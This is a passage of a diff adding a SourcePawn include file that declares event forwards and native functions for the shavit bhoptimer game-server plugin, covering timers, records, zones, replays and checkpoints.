+ * @noreturn
+ */
+forward void Shavit_OnEnd(int client, int track);
+
+/**
+ * Called before a player's timer is stopped. (stop =/= finish a map)
+ *
+ * @param client					Client index.
+ * @param track						Timer track.
+ * @return							False to prevent the timer from stopping.
+ */
+forward bool Shavit_OnStopPre(int client, int track);
+
+/**
+ * Called when a player's timer stops. (stop =/= finish a map)
+ *
+ * @param client					Client index.
+ * @param track						Timer track.
+ * @noreturn
+ */
+forward void Shavit_OnStop(int client, int track);
+
+/**
+ * Called before a player finishes a map.
+ *
+ * @param client					Client index.
+ * @param snapshot					A snapshot of the player's timer.
+ * @return							Plugin_Continue to do nothing, Plugin_Changed to change the variables or anything else to stop the timer from finishing.
+ */
+forward Action Shavit_OnFinishPre(int client, timer_snapshot_t snapshot);
+
+/**
+ * Called when a player finishes a map. (touches the end zone)
+ *
+ * @param client					Client index.
+ * @param style						Style the record was done on.
+ * @param time						Record time.
+ * @param jumps						Jumps amount.
+ * @param strafes					Amount of strafes.
+ * @param sync						Sync percentage (0.0 to 100.0) or -1.0 when not measured.
+ * @param track						Timer track.
+ * @param oldtime					The player's best time on the map before this finish.
+ * @param perfs						Perfect jump percentage (0.0 to 100.0) or 100.0 when not measured.
+ * @param avgvel					Player's average velocity throughout the run.
+ * @param maxvel					Player's highest reached velocity.
+ * @param timestamp					System time of when player finished.
+ * @noreturn
+ */
+forward void Shavit_OnFinish(int client, int style, float time, int jumps, int strafes, float sync, int track, float oldtime, float perfs, float avgvel, float maxvel, int timestamp);
+
+/**
+ * Like Shavit_OnFinish, but after the insertion query was called.
+ * Called from shavit-wr
+ *
+ * @param client					Client index.
+ * @param style						Style the record was done on.
+ * @param time						Record time.
+ * @param jumps						Jumps amount.
+ * @param strafes					Amount of strafes.
+ * @param sync						Sync percentage (0.0 to 100.0) or -1.0 when not measured.
+ * @param rank						Rank on map.
+ * @param overwrite					1 - brand new record. 2 - update.
+ * @param track						Timer track.
+ * @param oldtime					The player's best time on the map before this finish.
+ * @param perfs						Perfect jump percentage (0.0 to 100.0) or 100.0 when not measured.
+ * @param avgvel					Player's average velocity throughout the run.
+ * @param maxvel					Player's highest reached velocity.
+ * @param timestamp					System time of when player finished.
+ * @noreturn
+ */
+forward void Shavit_OnFinish_Post(int client, int style, float time, int jumps, int strafes, float sync, int rank, int overwrite, int track, float oldtime, float perfs, float avgvel, float maxvel, int timestamp);
+
+/**
+ * Called when there's a new WR on the map.
+ *
+ * @param client					Client index.
+ * @param style						Style the record was done on.
+ * @param time						Record time.
+ * @param jumps						Jumps amount.
+ * @param strafes					Amount of strafes.
+ * @param sync						Sync percentage (0.0 to 100.0) or -1.0 when not measured.
+ * @param track						Timer track.
+ * @param oldwr						Time of the old WR. 0.0 if there's none.
+ * @param oldtime					The player's best time on the map before this finish.
+ * @param perfs						Perfect jump percentage (0.0 to 100.0) or 100.0 when not measured.
+ * @param avgvel					Player's average velocity throughout the run.
+ * @param maxvel					Player's highest reached velocity.
+ * @param timestamp					System time of when player finished.
+ * @noreturn
+ */
+forward void Shavit_OnWorldRecord(int client, int style, float time, int jumps, int strafes, float sync, int track, float oldwr, float oldtime, float perfs, float avgvel, float maxvel, int timestamp);
+
+/**
+ * Called when an admin deletes a WR.
+ *
+ * @param style						Style the record was done on.
+ * @param id						Record ID. -1 if mass deletion.
+ * @param track						Timer track.
+ * @param accountid					The account ID of the wr holder
+ * @param mapname					The map name.
+ * @noreturn
+ */
+forward void Shavit_OnWRDeleted(int style, int id, int track, int accountid, const char[] mapname);
+
+/**
+ * Called when a player's timer paused.
+ *
+ * @param client					Client index.
+ * @param track						Timer track.
+ * @noreturn
+ */
+forward void Shavit_OnPause(int client, int track);
+
+/**
+ * Called when a player's timer resumed.
+ *
+ * @param client					Client index.
+ * @param track						Timer track.
+ * @noreturn
+ */
+forward void Shavit_OnResume(int client, int track);
+
+/**
+ * Called when a player changes their bhopstyle.
+ * Note: Doesn't guarantee that the player is in-game or connected.
+ *
+ * @param client					Client index.
+ * @param oldstyle					Old bhop style.
+ * @param newstyle					New bhop style.
+ * @param track						Timer track.
+ * @param manual					Was the change manual, or assigned automatically?
+ * @noreturn
+ */
+forward void Shavit_OnStyleChanged(int client, int oldstyle, int newstyle, int track, bool manual);
+
+/**
+ * Called when a player changes their bhop track.
+ *
+ * @param client					Client index.
+ * @param oldtrack					Old bhop track.
+ * @param newtrack					New bhop track.
+ * @noreturn
+ */
+forward void Shavit_OnTrackChanged(int client, int oldtrack, int newtrack);
+
+/**
+ * Called when the styles configuration finishes loading and it's ready to load everything into the cache.
+ *
+ * @param styles					Amount of styles loaded.
+ * @noreturn
+ */
+forward void Shavit_OnStyleConfigLoaded(int styles);
+
+/**
+ * Called when there's a successful connection to the database and it is ready to be used.
+ * Called through shavit-core after migrations have been applied, and after the attempt to create the default `users` table.
+ *
+ * @noreturn
+ */
+forward void Shavit_OnDatabaseLoaded();
+
+/**
+ * Called when the chat messages configuration finishes loading and it's ready to load everything into the cache.
+ *
+ * @noreturn
+ */
+forward void Shavit_OnChatConfigLoaded();
+
+/**
+ * Called when a player teleports with checkpoints.
+ *
+ * @param client					Client index.
+ * @param index						Checkpoint that was teleported to.
+ * @return							Plugin_Continue to allow teleporting, anything else to prevent.
+ */
+forward Action Shavit_OnTeleport(int client, int index);
+
+/**
+ * Called when a saves a checkpoint.
+ *
+ * @param client					Client index.
+ * @param index						Checkpoint that was saved to.
+ * @param overflow					Does this checkpoint shift the rest.
+ * @return							Plugin_Continue to allow saving, anything else to prevent.
+ */
+forward Action Shavit_OnSave(int client, int index, bool overflow);
+
+/**
+ * Called when a player deletes a checkpoint.
+ *
+ * @param client					Client index.
+ * @param index						Checkpoint that will be deleted.
+ * @return							Plugin_Continue to continue deletion, anything else to prevent.
+ */
+forward Action Shavit_OnDelete(int client, int index);
+
+/**
+ * Called when a player enters a zone.
+ *
+ * @param client					Client index.
+ * @param type						Zone type.
+ * @param track						Zone track.
+ * @param id						Zone ID.
+ * @param entity					Zone trigger entity index.
+ * @param data						Zone data if any.
+ * @noreturn
+ */
+forward void Shavit_OnEnterZone(int client, int type, int track, int id, int entity, int data);
+
+/**
+ * Called when a player leaves a zone.
+ *
+ * @param client					Client index.
+ * @param type						Zone type.
+ * @param track						Zone track.
+ * @param id						Zone ID.
+ * @param entity					Zone trigger entity index.
+ * @param data						Zone data if any.
+ * @noreturn
+ */
+forward void Shavit_OnLeaveZone(int client, int type, int track, int id, int entity, int data);
+
+/**
+ * Called when a player leaves a zone.
+ *
+ * @param client					Client index.
+ * @param stageNumber				Stage number.
+ * @param message					The stage time message that will be printed.
+ * @param maxlen					The buffer size of message.
+ * @return							Plugin_Handled to block the timer from printing msg to the client. Plugin_Continue to let the timer print msg.
+ */
+forward Action Shavit_OnStageMessage(int client, int stageNumber, char[] message, int maxlen);
+
+/**
+ * Called when a player gets the worst record in the server for the style.
+ * Note: Will be only called for ranked styles.
+ *
+ * @param client					Client index.
+ * @param style						Style the record was done on.
+ * @param time						Record time.
+ * @param jumps						Jumps amount.
+ * @param strafes					Amount of strafes.
+ * @param sync						Sync percentage (0.0 to 100.0) or -1.0 when not measured.
+ * @param track						Timer track.
+ * @param oldtime					The player's best time on the map before this finish.
+ * @param perfs						Perfect jump percentage (0.0 to 100.0) or 100.0 when not measured.
+ * @param avgvel					Player's average velocity throughout the run.
+ * @param maxvel					Player's highest reached velocity.
+ * @param timestamp					System time of when player finished.
+ * @noreturn
+ */
+forward void Shavit_OnWorstRecord(int client, int style, float time, int jumps, int strafes, float sync, int track, float oldtime, float perfs, float avgvel, float maxvel, int timestamp);
+
+/**
+ * Gets called when a map's tier is assigned.
+ * Only called once per map, if the rankings plugin is enabled.
+ * The exception is if the admin changes the current map's tier.
+ *
+ * @param map						Map display name.
+ * @param tier						Map's tier.
+ * @noreturn
+ */
+forward void Shavit_OnTierAssigned(const char[] map, int tier);
+
+/**
+ * Gets called when the server acknowledges the client's ranking status.
+ * It is called after OnClientPostAdminCheck and at forced rank recalculations.
+ *
+ * @param client					Client index.
+ * @param rank						Client's rank. (0 if unranked or unassigned)
+ * @param points					Client's points. (0.0 if unranked or unassigned)
+ * @param first						True if the forward is called after the initial connection, false if it is caused by recalculation.
+ * @noreturn
+ */
+forward void Shavit_OnRankAssigned(int client, int rank, float points, bool first);
+
+/**
+ * Called when replay playback starts.
+ *
+ * @param ent						Entity index for the replay.
+ * @param type						The type of replay. Replay_Prop means `ent` is not a fakeclient, but instead a prop.
+ * @noreturn
+ */
+forward void Shavit_OnReplayStart(int ent, int type);
+
+/**
+ * Called when replay playback ends.
+ *
+ * @param client					Entity index for the replay.
+ * @param type						The type of replay. Replay_Prop means `ent` is not a fakeclient, but instead a prop.
+ * @noreturn
+ */
+forward void Shavit_OnReplayEnd(int ent, int type);
+
+/**
+ * Called when all replays files have been loaded.
+ *
+ * @noreturn
+ */
+forward void Shavit_OnReplaysLoaded();
+
+/**
+ * Called when a player finishes a time. Allows you to save a replay even if the run is not a WR.
+ *
+ * @param client					Client index.
+ * @param style						Style the record was done on.
+ * @param time						Record time.
+ * @param jumps						Jumps amount.
+ * @param strafes					Amount of strafes.
+ * @param sync						Sync percentage (0.0 to 100.0) or -1.0 when not measured.
+ * @param track						Timer track.
+ * @param oldtime					The player's best time on the map before this finish.
+ * @param perfs						Perfect jump percentage (0.0 to 100.0) or 100.0 when not measured.
+ * @param avgvel					Player's average velocity throughout the run.
+ * @param maxvel					Player's highest reached velocity.
+ * @param timestamp					System time of when player finished.
+ * @param isbestreplay				If the time is the new replay.
+ * @param istoolong					If the time is too long to save a replay if the time is a WR. Note: replays WON'T be full length if this is true.
+ * @return							Return Plugin_Changed (or higher) to cause a copy of the replay to be saved. Return Plugin_Continue otherwise.
+ */
+forward Action Shavit_ShouldSaveReplayCopy(int client, int style, float time, int jumps, int strafes, float sync, int track, float oldtime, float perfs, float avgvel, float maxvel, int timestamp, bool isbestreplay, bool istoolong);
+
+/**
+ * Called when either a WR replay or a copy of a replay has been saved.
+ *
+ * @param client					Client index.
+ * @param style						Style the record was done on.
+ * @param time						Record time.
+ * @param jumps						Jumps amount.
+ * @param strafes					Amount of strafes.
+ * @param sync						Sync percentage (0.0 to 100.0) or -1.0 when not measured.
+ * @param track						Timer track.
+ * @param oldtime					The player's best time on the map before this finish.
+ * @param perfs						Perfect jump percentage (0.0 to 100.0) or 100.0 when not measured.
+ * @param avgvel					Player's average velocity throughout the run.
+ * @param maxvel					Player's highest reached velocity.
+ * @param timestamp					System time of when player finished.
+ * @param isbestreplay				If the time is the new replay.
+ * @param istoolong					If the time is too long to save a replay if the time is a WR. Note: replays WON'T be full length if this is true.
+ * @param iscopy					If the path points to a copy of the replay.
+ * @param replaypath				Path to the saved replay.
+ * @noreturn
+ */
+forward void Shavit_OnReplaySaved(int client, int style, float time, int jumps, int strafes, float sync, int track, float oldtime, float perfs, float avgvel, float maxvel, int timestamp, bool isbestreplay, bool istoolong, bool iscopy, const char[] replaypath);
+
+/**
+ * Called when top left HUD updates.
+ *
+ * @param client					Client index that recieves the hud.
+ * @param target					Target entity that is either the client or what the client is spectating.
+ * @param topleft					Reference to the HUD buffer.
+ * @param topleftlength				Max length of the topleft buffer.
+ * @return							Plugin_Handled or Plugin_Stop to block the HUD message from appearing. Anything else to pass along new values.
+ */
+forward Action Shavit_OnTopLeftHUD(int client, int target, char[] topleft, int topleftlength);
+
+/**
+ * Called before clan tag variables are processed.
+ *
+ * @param client					Client index.
+ * @param clantag					Reference to the clan tag buffer.
+ * @param clantaglength				Max length of the customtag buffer.
+ * @return							Plugin_Handled or Plugin_Stop to block the clan tag from changing. Anything else to pass along new values.
+ */
+forward Action Shavit_OnClanTagChangePre(int client, char[] clantag, int clantaglength);
+
+/**
+ * Called after clan tags are changed.
+ *
+ * @param client					Client index.
+ * @param customtag					Reference to the custom clan tag buffer.
+ * @param customtaglength			Max length of the customtag buffer.
+ * @noreturn
+ */
+forward void Shavit_OnClanTagChangePost(int client, char[] customtag, int customtaglength);
+
+/**
+ * Called when a time offset is calculated
+ *
+ * @param client					Client index.
+ * @param zonetype					Zone type (Zone_Start or Zone_End).
+ * @param offset					Time offset from the given zone.
+ * @param distance					Distance used in time offset.
+ * @noreturn
+ */
+forward void Shavit_OnTimeOffsetCalculated(int client, int zonetype, float offset, float distance);
+
+/**
+ * Called before the timer finish message is printed to the users.
+ *
+ * @param client					Client index.
+ * @param everyone					Is the message printed to everyone, or just the client?
+ * @param snapshot					A snapshot of the client's timer when printing the message.
+ * @param overwrite					Modify the database? 0 - no. 1 - brand new record. 2 - new personal best.
+ * @param rank						Rank on map.
+ * @param message					The finish message.
+ * @param maxlen					Buffer size of message.
+ * @param message2					A second line of info that is printed on finish.
+ * @param maxlen2					Buffer size of message2.
+ *
+ * @return							Plugin_Handled or Plugin_Stop to stop the message. Anything else to use new values.
+ */
+forward Action Shavit_OnFinishMessage(int client, bool &everyone, timer_snapshot_t snapshot, int overwrite, int rank, char[] message, int maxlen, char[] message2, int maxlen2);
+
+/**
+ * Called when a clients dynamic timescale has been changed.
+ *
+ * @param client					Client index.
+ * @param oldtimescale				The old timescale value
+ * @param newtimescale				The new timescale value
+ * @noreturn
+ */
+forward void Shavit_OnTimescaleChanged(int client, float oldtimescale, float newtimescale);
+
+/**
+ * Called after the checkpoint menu has been made and before it's sent to the client.
+ *
+ * @param client					Client index.
+ * @param segmented					If the menu was a segmented menu
+ * @return							Plugin_Handled or Plugin_Stop to stop the menu.
+ */
+forward Action Shavit_OnCheckPointMenuMade(int client, bool segmented);
+
+/**
+ * Called before a selection is processed in the main checkpoint menu.
+ *
+ * @param client					Client index.
+ * @param param2					Second parameter in the callback, usually the item selected.
+ * @param info						reference copy of the info string used in the callback
+ * @param maxlength					length of the info buffer
+ * @param currentCheckpoint			Clients current checkpoint
+ * @param maxCPs					Max checkpoints the client can use
+ * @return							Plugin_Continue to continue the callback.
+ */
+forward Action Shavit_OnCheckpointMenuSelect(int client, int param2, char[] info, int maxlength, int currentCheckpoint, int maxCPs);
+
+/**
+ * Called before a sound is played by shavit-sounds.
+ *
+ * @param client					Index of the client that triggered the sound event.
+ * @param sound						Reference to the sound that will be played.
+ * @param maxlength					Length of the sound buffer, always PLATFORM_MAX_PATH.
+ * @param clients					Reference to the array of clients to receive the sound, maxsize of MaxClients.
+ * @param count						Reference to the number of clients to receive the sound.
+ * @return							Plugin_Handled or Plugin_Stop to block the sound from being played. Anything else to continue the operation.
+ */
+forward Action Shavit_OnPlaySound(int client, char[] sound, int maxlength, int[] clients, int &count);
+
+/**
+ * Called before the server & timer handle the ProcessMovement method.
+ *
+ * @param client					Client Index.
+ * @noreturn
+ */
+forward void Shavit_OnProcessMovement(int client);
+
+/**
+ * Called After the server handles the ProcessMovement method, but before the timer handles the method.
+ *
+ * @param client					Client Index.
+ * @noreturn
+ */
+forward void Shavit_OnProcessMovementPost(int client);
+
+/**
+ * Returns bhoptimer's database handle.
+ * Call within Shavit_OnDatabaseLoaded. Safety is not guaranteed anywhere else!
+ *
+ * @return							Database handle.
+ */
+native Database Shavit_GetDatabase();
+
+/**
+ * Starts the timer for a player.
+ * Will not teleport the player to anywhere, it's handled inside the mapzones plugin.
+ *
+ * @param client					Client index.
+ * @param track						Timer track.
+ * @noreturn
+ */
+native void Shavit_StartTimer(int client, int track);
+
+/**
+ * Sets the player's current location as their spawn location for the specified track.
+ *
+ * @param client					Client index.
+ * @param track 					Timer track.
+ * @param anglesonly 				Whether to save angles only.
+ * @noreturn
+ */
+native void Shavit_SetStart(int client, int track, bool anglesonly);
+
+/**
+ * Deletes the player's current set start position for the specified track.
+ *
+ * @param client					Client index.
+ * @param track 					Timer track.
+ * @noreturn
+ */
+native void Shavit_DeleteSetStart(int client, int track);
+
+/**
+ * Restarts the timer for a player.
+ * Will work as if the player just used sm_r.
+ *
+ * @param client					Client index.
+ * @param track						Timer track.
+ * @noreturn
+ */
+native void Shavit_RestartTimer(int client, int track);
+
+/**
+ * Stops the timer for a player.
+ * Will not teleport the player to anywhere, it's handled inside the mapzones plugin.
+ *
+ * @param client					Client index.
+ * @param bypass					Bypass call to Shavit_OnStopPre?
+ * @return							True if the operation went through.
+ */
+native bool Shavit_StopTimer(int client, bool bypass = true);
+
+/**
+ * Deletes all map records for the specified map.
+ * Plugin will refresh if map is currently on.
+ *
+ * @param map						Map name.
+ * @noreturn
+ */
+native void Shavit_WR_DeleteMap(const char[] map);
+
+/**
+ * Deletes all map zones for the specified map.
+ * Plugin will refresh if map is currently on.
+ *
+ * @param map						Map name.
+ * @noreturn
+ */
+native void Shavit_Zones_DeleteMap(const char[] map);
+
+/**
+ * Deletes all replays for the specified map.
+ * Plugin will refresh if map is currently on.
+ *
+ * @param map						Map name.
+ * @noreturn
+ */
+native void Shavit_Replay_DeleteMap(const char[] map);
+
+/**
+ * Deletes tier setting for the specified map.
+ * Points recalculation will run right after this is finished.
+ *
+ * @param map						Map name.
+ * @noreturn
+ */
+native void Shavit_Rankings_DeleteMap(const char[] map);
+
+/**
+ * Changes a player's bhop style.
+ *
+ * @param client					Client index.
+ * @param style						Style.
+ * @param force						Ignore style permissions. This being true will bypass the `inaccessible` style setting as well.
+ * @param manual					Is it a manual style change? (Was it caused by user interaction?)
+ * @param noforward					Bypasses the call to `Shavit_OnStyleChanged`.
+ * @return							False if failed due to lack of access, true otherwise.
+ */
+native bool Shavit_ChangeClientStyle(int client, int style, bool force = false, bool manual = false, bool noforward = false);
+
+/**
+ * Finishes the map for a player, with their current timer stats.
+ * Will not teleport the player to anywhere, it's handled inside the mapzones plugin.
+ *
+ * @param client					Client index.
+ * @param track						Timer track.
+ * @noreturn
+ */
+native void Shavit_FinishMap(int client, int track);
+
+native float Shavit_GetClientTime(int client);
+
+native int Shavit_GetClientTrack(int client);
+
+native int Shavit_GetClientJumps(int client);
+
+native int Shavit_GetBhopStyle(int client);
+
+native TimerStatus Shavit_GetTimerStatus(int client);
+
+native int Shavit_GetStageZone(int stage, int track=Track_Main);
+
+native int Shavit_GetHighestStage(int track);
+
+native int Shavit_GetClientLastStage(int client);
+
+native float Shavit_GetStageWR(int track, int style, int stage);
+
+//native float Shavit_GetStagePB(int client, int track, int style, int stage);
+
+//native float Shavit_GetStageWRCP(int track, int style, int stage);
+//native float Shavit_GetStagePBCP(int client, int track, int style, int stage);
+
+native int Shavit_GetStrafeCount(int client);
+
+native float Shavit_GetPerfectJumps(int client);
+
+native float Shavit_GetSync(int client);
+
+native float Shavit_GetWorldRecord(int style, int track);
+
+native void Shavit_ReloadLeaderboards();
+
+native void Shavit_GetWRRecordID(int style, int &recordid, int track);
+
+native void Shavit_GetWRName(int style, char[] wrname, int wrmaxlength, int track);
+
+native float Shavit_GetClientPB(int client, int style, int track);
+
+native void Shavit_SetClientPB(int client, int style, int track, float time);
+
+native int Shavit_GetClientCompletions(int client, int style, int track);
+
+native int Shavit_GetRecordAmount(int style, int track);
+
+native int Shavit_GetRankForTime(int style, float time, int track);
+
+native float Shavit_GetTimeForRank(int style, int rank, int track);
+
+native bool Shavit_ZoneExists(int type, int track);
+
+native bool Shavit_InsideZone(int client, int type, int track);
+
+native int Shavit_GetZoneData(int zoneid);
+
+native int Shavit_GetZoneFlags(int zoneid);
+
+native bool Shavit_InsideZoneGetID(int client, int type, int track, int &zoneid);
+
+native bool Shavit_IsClientCreatingZone(int client);
+
+native void Shavit_PauseTimer(int client);
+
+native void Shavit_ResumeTimer(int client, bool teleport = false);
+
+native float Shavit_GetTimeOffset(int client, int zonetype);
+
+native float Shavit_GetDistanceOffset(int client, int zonetype);
+
+native bool Shavit_DeleteReplay(const char[] map, int style, int track, int accountid = 0);
+
+native float Shavit_GetReplayBotFirstFrameTime(int entity);
+
+native int Shavit_GetReplayBotIndex(int style, int track);
+
+native int Shavit_GetReplayBotStyle(int entity);
+
+native int Shavit_GetReplayBotTrack(int entity);
+
+native int Shavit_GetReplayBotType();
+
+native int Shavit_GetReplayBotCurrentFrame(int entity);
+
+native int Shavit_GetReplayStarter(int ent);
+
+native int Shavit_GetReplayButtons(int ent, float& anglediff);
+
+native int Shavit_GetReplayFrameCount(int style, int track);
+
+native int Shavit_GetReplayPreFrames(int style, int track);
+
+native int Shavit_GetReplayPostFrames(int style, int track);
+
+native int Shavit_GetReplayCacheFrameCount(int bot);
+
+native int Shavit_GetReplayCachePreFrames(int bot);
+
+native int Shavit_GetReplayCachePostFrames(int bot);
+
+native ArrayList Shavit_GetReplayFrames(int style, int track, bool cheapCloneHandle=false);
+
+native int Shavit_GetClientFrameCount(int client);
+
+native float Shavit_GetReplayLength(int style, int track);
+
+native float Shavit_GetReplayCacheLength(int bot);
+
+native float Shavit_GetReplayTime(int entity);
+
+native void Shavit_GetReplayName(int style, int track, char[] buffer, int length);
+
+native void Shavit_HijackAngles(int client, float pitch, float yaw);
+
+native bool Shavit_IsReplayDataLoaded(int style, int track);
+
+native float Shavit_GetPoints(int client);
+
+native int Shavit_GetRank(int client);
+
+native int Shavit_GetRankedPlayers();
+
+native int Shavit_ForceHUDUpdate(int client, bool spectators);
+
+native void Shavit_OpenStatsMenu(int client, int steamid);
+
+native int Shavit_GetWRCount(int client, int track = -1, int style = -1, bool usecvars = true);
+
+native int Shavit_GetWRHolders(int track = -1, int style = -1, bool usecvars = true);
+
+native int Shavit_GetWRHolderRank(int client, int track = -1, int style = -1, bool usecvars = true);
+
+native bool Shavit_GetStyleSetting(int style, const char[] key, char[] value, int maxlength);
+
+native int Shavit_GetStyleSettingInt(int style, const char[] key);
+
+native bool Shavit_GetStyleSettingBool(int style, const char[] key);
+
+native float Shavit_GetStyleSettingFloat(int style, const char[] key);
+
+native bool Shavit_HasStyleSetting(int style, const char[] key);
+
+native bool Shavit_SetStyleSettingFloat(int style, const char[] key, float value, bool replace = true);
+
+native bool Shavit_SetStyleSettingBool(int style, const char[] key, bool value, bool replace = true);
+
+native bool Shavit_SetStyleSettingInt(int style, const char[] key, int value, bool replace = true);
+
+native int Shavit_GetStyleStrings(int style, int stringtype, char[] StyleStrings, int size);
+
+native int Shavit_GetStyleStringsStruct(int style, any[] strings, int size = sizeof(stylestrings_t));
+
+native int Shavit_GetStyleCount();
+
+native void Shavit_GetOrderedStyles(int[] arr, int size);
+
+native int Shavit_GetChatStrings(int stringtype, char[] ChatStrings, int size);
+
+native int Shavit_GetChatStringsStruct(any[] strings, int size = sizeof(chatstrings_t));
+
+native int Shavit_GetHUDSettings(int client);
+
+native void Shavit_SetPracticeMode(int client, bool practice, bool alert);
+
+native bool Shavit_IsPracticeMode(int client);
+
+native void Shavit_SaveSnapshot(int client, any[] snapshot, int size = sizeof(timer_snapshot_t));
+
+native void Shavit_LoadSnapshot(int client, any[] snapshot, int size = sizeof(timer_snapshot_t));
+
+native void Shavit_SetReplayData(int client, ArrayList data, bool cheapCloneHandle=false);
+
+native ArrayList Shavit_GetReplayData(int client, bool cheapCloneHandle=false);
+
+native bool Shavit_IsReplayEntity(int ent);
+
+native int Shavit_StartReplay(int style, int track, float delay, int client, int bot, bool ignorelimit = false);
+
+native int Shavit_StartReplayFromFrameCache(int style, int track, float delay, int client, int bot, bool ignorelimit = false, any[] cache, int size = sizeof(frame_cache_t));
+
+native int Shavit_StartReplayFromFile(int style, int track, float delay, int client, int bot, bool ignorelimit = false, const char[] path);
+
+native bool Shavit_ReloadReplay(int style, int track, bool restart, char[] path = "");
+
+native int Shavit_ReloadReplays(bool restart);
+
+native float Shavit_GetClosestReplayTime(int client);
+
+native int Shavit_GetClosestReplayStyle(int client);
+
+native void Shavit_SetClosestReplayStyle(int client, int style);
+
+native float Shavit_GetClosestReplayVelocityDifference(int client, bool threeD);
+
+native void Shavit_StopChatSound();
+
+native void Shavit_MarkKZMap();
+
+native bool Shavit_IsKZMap();
+
+native int Shavit_GetMapTier(const char[] map);
+
+native StringMap Shavit_GetMapTiers();
+
+native bool Shavit_HasStyleAccess(int client, int style);
+
+native bool Shavit_IsPaused(int client);
+
+native int Shavit_CanPause(int client);
+
+native int Shavit_PrintToChat(int client, const char[] format, any ...);
+
+native void Shavit_PrintToChatAll(const char[] format, any ...);
+
+native void Shavit_LogMessage(const char[] format, any ...);
+
+native float Shavit_GetAvgVelocity(int client);
+
+native float Shavit_GetMaxVelocity(int client);
+
+native void Shavit_SetAvgVelocity(int client, float vel);
+
+native void Shavit_SetMaxVelocity(int client, float vel);
+
+ native int Shavit_GetTotalCheckpoints(int client);
+
+native bool Shavit_GetCheckpoint(int client, int index, any[] cpcache, int size = sizeof(cp_cache_t));
+
+native void Shavit_SetCheckpoint(int client, int index, any[] cpcache, int size = sizeof(cp_cache_t));
+
+native void Shavit_TeleportToCheckpoint(int client, int index, bool suppress = false);
+
+native void Shavit_ClearCheckpoints(int client);
+
+native void Shavit_OpenCheckpointMenu(int client);
+
+native void Shavit_SetClientTimescale(int client, float scale);
+
+native float Shavit_GetClientTimescale(int client);
+
+native int Shavit_GetReplayStatus(int ent);
+
+native int Shavit_SaveCheckpoint(int client);
+
+native int Shavit_GetCurrentCheckpoint(int client);
+
+native void Shavit_SetCurrentCheckpoint(int client, int index);
+
+native int Shavit_GetTimesTeleported(int client);
+
+native int Shavit_GetPlayerPreFrames(int client);
+
+native void Shavit_SetPlayerPreFrames(int client, int PreFrame);
+
+native void Shavit_GetPlainChatrank(int client, char[] buf, int buflen, bool includename=false);
+
+native void Shavit_DeleteWR(int style, int track, const char[] map, int accountid, int recordid, bool delete_sql, bool update_cache);
+
+native int Shavit_GetLoopingBotByName(const char[] name);
+
+public SharedPlugin __pl_shavit =
+{
+	name = "shavit",
+	// SM bug? commented until it's fixed
+	// file = "shavit-core.smx",
+#if defined REQUIRE_PLUGIN
+	required = 1
+#else
+	required = 0
+#endif
+};
+
+#if !defined REQUIRE_PLUGIN
+public void __pl_shavit_SetNTVOptional()
+{
+	MarkNativeAsOptional("Shavit_CanPause");
+	MarkNativeAsOptional("Shavit_ChangeClientStyle");
+	MarkNativeAsOptional("Shavit_DeleteReplay");
+	MarkNativeAsOptional("Shavit_DeleteWR");
+	MarkNativeAsOptional("Shavit_FinishMap");
+	MarkNativeAsOptional("Shavit_ForceHUDUpdate");
+	MarkNativeAsOptional("Shavit_FormatChat");
+	MarkNativeAsOptional("Shavit_GetBhopStyle");
+	MarkNativeAsOptional("Shavit_GetChatStrings");
+	MarkNativeAsOptional("Shavit_GetChatStringsStruct");
+	MarkNativeAsOptional("Shavit_GetClientCompletions");
+	MarkNativeAsOptional("Shavit_GetClientJumps");
+	MarkNativeAsOptional("Shavit_GetClientPB");
+	MarkNativeAsOptional("Shavit_GetClientTime");
+	MarkNativeAsOptional("Shavit_GetClientTrack");
+	MarkNativeAsOptional("Shavit_GetDatabase");
+	MarkNativeAsOptional("Shavit_GetHUDSettings");
+	MarkNativeAsOptional("Shavit_GetMapTier");
+	MarkNativeAsOptional("Shavit_GetMapTiers");
+	MarkNativeAsOptional("Shavit_GetOrderedStyles");
+	MarkNativeAsOptional("Shavit_GetPerfectJumps");
+	MarkNativeAsOptional("Shavit_GetPoints");
+	MarkNativeAsOptional("Shavit_GetRank");
+	MarkNativeAsOptional("Shavit_GetRankedPlayers");
+	MarkNativeAsOptional("Shavit_GetRankForTime");
+	MarkNativeAsOptional("Shavit_GetRecordAmount");
+	MarkNativeAsOptional("Shavit_GetReplayBotCurrentFrame");
+	MarkNativeAsOptional("Shavit_GetClientFrameCount");
+	MarkNativeAsOptional("Shavit_GetReplayBotFirstFrameTime");
+	MarkNativeAsOptional("Shavit_GetReplayBotIndex");
+	MarkNativeAsOptional("Shavit_GetReplayBotStyle");
+	MarkNativeAsOptional("Shavit_GetReplayBotTrack");
+	MarkNativeAsOptional("Shavit_GetReplayBotType");
+	MarkNativeAsOptional("Shavit_GetReplayStarter");
+	MarkNativeAsOptional("Shavit_GetReplayData");
+	MarkNativeAsOptional("Shavit_GetReplayFrameCount");
+	MarkNativeAsOptional("Shavit_GetReplayFrames");
+	MarkNativeAsOptional("Shavit_GetReplayLength");
+	MarkNativeAsOptional("Shavit_GetReplayName");
+	MarkNativeAsOptional("Shavit_GetReplayStatus");
+	MarkNativeAsOptional("Shavit_GetReplayTime");
+	MarkNativeAsOptional("Shavit_GetStageZone");
+	MarkNativeAsOptional("Shavit_GetStageCount");
+	MarkNativeAsOptional("Shavit_GetStrafeCount");
+	MarkNativeAsOptional("Shavit_GetStyleCount");
+	MarkNativeAsOptional("Shavit_GetStyleSetting");
+	MarkNativeAsOptional("Shavit_GetStyleSettingInt");
+	MarkNativeAsOptional("Shavit_GetStyleSettingFloat");
+	MarkNativeAsOptional("Shavit_HasStyleSetting");
+	MarkNativeAsOptional("Shavit_GetStyleStrings");
+	MarkNativeAsOptional("Shavit_GetStyleStringsStruct");
+	MarkNativeAsOptional("Shavit_GetSync");
+	MarkNativeAsOptional("Shavit_GetTimeOffset");
+	MarkNativeAsOptional("Shavit_GetDistanceOffset");
+	MarkNativeAsOptional("Shavit_GetTimeForRank");
+	MarkNativeAsOptional("Shavit_GetTimerStatus");
+	MarkNativeAsOptional("Shavit_GetWorldRecord");
+	MarkNativeAsOptional("Shavit_GetWRCount");
+	MarkNativeAsOptional("Shavit_GetWRHolders");
+	MarkNativeAsOptional("Shavit_GetWRHolderRank");
+	MarkNativeAsOptional("Shavit_GetWRName");
+	MarkNativeAsOptional("Shavit_GetWRRecordID");
+	MarkNativeAsOptional("Shavit_GetZoneData");
+	MarkNativeAsOptional("Shavit_GetZoneFlags");
+	MarkNativeAsOptional("Shavit_HasStyleAccess");
+	MarkNativeAsOptional("Shavit_HijackAngles");
+	MarkNativeAsOptional("Shavit_InsideZone");
+	MarkNativeAsOptional("Shavit_InsideZoneGetID");
